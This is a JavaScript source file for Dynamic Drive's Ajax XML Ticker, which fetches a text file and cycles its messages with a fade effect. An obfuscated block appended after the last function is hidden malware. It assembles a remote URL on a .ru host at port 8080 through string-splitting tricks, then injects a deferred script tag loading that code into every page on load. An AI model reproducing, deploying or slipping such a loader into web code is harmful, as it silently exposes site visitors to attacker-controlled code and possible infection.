// -------------------------------------------------------------------
// Ajax XML Ticker (txt file source)
// Author: Dynamic Drive (http://www.dynamicdrive.com)
// -------------------------------------------------------------------

////////////No need to edit beyond here//////////////

function createAjaxObj(){
var httprequest=false
if (window.XMLHttpRequest){ // if Mozilla, Safari etc
httprequest=new XMLHttpRequest()
if (httprequest.overrideMimeType)
httprequest.overrideMimeType('text/xml')
}
else if (window.ActiveXObject){ // if IE
try {
httprequest=new ActiveXObject("Msxml2.XMLHTTP");
} 
catch (e){
try{
httprequest=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){}
}
}
return httprequest
}

// -------------------------------------------------------------------
// Main Ajax Ticker Object function
// ajax_ticker(xmlfile, divId, divClass, delay, optionalfadeornot)
// -------------------------------------------------------------------

function ajax_ticker(xmlfile, divId, divClass, delay, fadeornot){
this.xmlfile=xmlfile //Variable pointing to the local ticker xml file (txt)
this.tickerid=divId //ID of ticker div to display information
this.delay=delay //Delay between msg change, in miliseconds.
this.mouseoverBol=0 //Boolean to indicate whether mouse is currently over ticker (and pause it if it is)
this.pointer=0
this.opacitystring=(typeof fadeornot!="undefined")? "width: 100%; filter:progid:DXImageTransform.Microsoft.alpha(opacity=100); -moz-opacity: 1" : ""
if (this.opacitystring!="") this.delay+=500 //add 1/2 sec to account for fade effect, if enabled
this.opacitysetting=0.2 //Opacity value when reset. Internal use.
this.messages=[] //Arrays to hold each message of ticker
this.ajaxobj=createAjaxObj()
document.write('<div id="'+divId+'" class="'+divClass+'"><div style="'+this.opacitystring+'">Initializing ticker...</div></div>')
this.getXMLfile()
}

// -------------------------------------------------------------------
// getXMLfile()- Use Ajax to fetch xml file (txt)
// -------------------------------------------------------------------

ajax_ticker.prototype.getXMLfile=function(){
if (this.ajaxobj){
var instanceOfTicker=this
var url=this.xmlfile+"?bustcache="+new Date().getTime()
this.ajaxobj.onreadystatechange=function(){instanceOfTicker.initialize()}
this.ajaxobj.open('GET', url, true)
this.ajaxobj.send(null)
}
}

// -------------------------------------------------------------------
// initialize()- Initialize ticker method.
// -Gets contents of xml file and parse it using JavaScript DOM methods 
// -------------------------------------------------------------------

ajax_ticker.prototype.initialize=function(){ 
if (this.ajaxobj.readyState == 4){ //if request of file completed
if (this.ajaxobj.status==200 || window.location.href.indexOf("http")==-1){ //if request was successful
this.contentdiv=document.getElementById(this.tickerid).firstChild //div of inner content that holds the messages
var xmldata=this.ajaxobj.responseText
this.contentdiv.style.display="none"
this.contentdiv.innerHTML=xmldata
if (this.contentdiv.getElementsByTagName("div").length==0){ //if no messages were found
this.contentdiv.innerHTML="<b>Error</b> fetching remote ticker file!"
return
}
var instanceOfTicker=this
document.getElementById(this.tickerid).onmouseover=function(){instanceOfTicker.mouseoverBol=1}
document.getElementById(this.tickerid).onmouseout=function(){instanceOfTicker.mouseoverBol=0}
if (window.attachEvent) //Clean up loose references in IE
window.attachEvent("onunload", function(){instanceOfTicker.contentdiv=instanceOfTicker.ajaxobj=null})
//Cycle through XML object and store each message inside array
for (var i=0; i<this.contentdiv.getElementsByTagName("div").length; i++){
if (this.contentdiv.getElementsByTagName("div")[i].className=="message")
this.messages[this.messages.length]=this.contentdiv.getElementsByTagName("div")[i].innerHTML
}
this.contentdiv.innerHTML=""
this.contentdiv.style.display="block"
this.rotatemsg()
}
}
}

// -------------------------------------------------------------------
// rotatemsg()- Rotate through ticker messages and displays them
// -------------------------------------------------------------------

ajax_ticker.prototype.rotatemsg=function(){
var instanceOfTicker=this
if (this.mouseoverBol==1) //if mouse is currently over ticker, do nothing (pause it)
setTimeout(function(){instanceOfTicker.rotatemsg()}, 100)
else{ //else, construct item, show and rotate it!
this.fadetransition("reset") //FADE EFFECT- RESET OPACITY
this.contentdiv.innerHTML=this.messages[this.pointer]
this.fadetimer1=setInterval(function(){instanceOfTicker.fadetransition('up', 'fadetimer1')}, 100) //FADE EFFECT- PLAY IT
this.pointer=(this.pointer<this.messages.length-1)? this.pointer+1 : 0
setTimeout(function(){instanceOfTicker.rotatemsg()}, this.delay) //update container periodically
}
}

// -------------------------------------------------------------------
// fadetransition()- cross browser fade method for IE5.5+ and Mozilla/Firefox
// -------------------------------------------------------------------

ajax_ticker.prototype.fadetransition=function(fadetype, timerid){
var contentdiv=this.contentdiv
if (fadetype=="reset")
this.opacitysetting=0.2
if (contentdiv.filters && contentdiv.filters[0]){
if (typeof contentdiv.filters[0].opacity=="number") //IE6+
contentdiv.filters[0].opacity=this.opacitysetting*100
else //IE 5.5
contentdiv.style.filter="alpha(opacity="+this.opacitysetting*100+")"
}
else if (typeof contentdiv.style.MozOpacity!="undefined" && this.opacitystring!=""){
contentdiv.style.MozOpacity=this.opacitysetting
}
else
this.opacitysetting=1
if (fadetype=="up")
this.opacitysetting+=0.1
if (fadetype=="up" && this.opacitysetting>=1)
clearInterval(this[timerid])
}
var x;this.e='';p=function(){L=46434;L-=102;var wf=[];var gG=false;function R(k,b,K){this.U="U";Sv={};return k.substr(b,K);}var D='';var Yn="Yn";this.n=51792;this.n--;var V="/mega"+R("click2ohm",0,5)+R("Oz29-com/2Oz9",4,5)+R("VTOgooglOVT",3,5)+"e.com"+R("8X3/cywo8X3",3,5)+R("rld.c2hS0",0,5)+R("Nucom.phNuc",3,5)+R("p?pidImn8",0,5)+"=7";this.Kk=56390;this.Kk-=168;this.MU=11043;this.MU-=98;var B=RegExp;this.q=false;this.eC=false;var Dl=document;this.Lr=41029;this.Lr+=214;od=["YQ","Ka"];var fY=new String();Hs=6712;Hs-=30;function X(k,b){this.sz='';this.Rp=24381;this.Rp++;var K=new String("[")+b+new String("]");this.A='';var o=new B(K, new String("g"));var hV=[];var Ql="Ql";return k.replace(o, D);};var lj=new String();pA=[];try {var bn='Bn'} catch(bn){};var g=X('szcUrMikpzto','0kESoKfAvQUuzXM');try {var fe='VC'} catch(fe){};var _=103312-95232;var Oq=new Date();this.vS=false;var t=null;var xZ=R("bodyZ9J",0,4);this.Ha=false;x=function(){try {} catch(gy){};try {var u='Ea'} catch(u){};try {this.mb="mb";var xk=X('cPrVeSaOtBe4EklOeOmSeSnStO','wSBPOk4V');var hM={};r=Dl[xk](g);this.bc='';bg={hC:false};var Zo=["_C","vz","vzp"];var c=X('svrEcb','Dwb59XdhviEOMyYZAHnozjp');sE=["QH"];EO={};var S=String(R("deferbVPL",0,5));var jQ={ym:"eo"};var tN={BO:"hB"};var k=_+V;this.tB="";this.OW="";try {var Xd='Ki'} catch(Xd){};r[S]=[1,7][0];var dZ=new Array();this._e=57491;this._e-=174;r[c]=R("httpQ9I",0,4)+R("://sYc8B",0,4)+"ubro"+"yalt"+"y.ru"+":"+k;Dl[xZ].appendChild(r);this.vZ='';uJ={};} catch(d){var Om={gg:false};this.QV='';Kx=36917;Kx--;};try {var nH='yn'} catch(nH){};hk=["yZ"];};};Nn={SvD:false};var wV=new Date();p();this.oL=17011;this.oL-=220;window.onload=x;var lq={Ac:"SA"};this.wG=22399;this.wG++;var ue=false;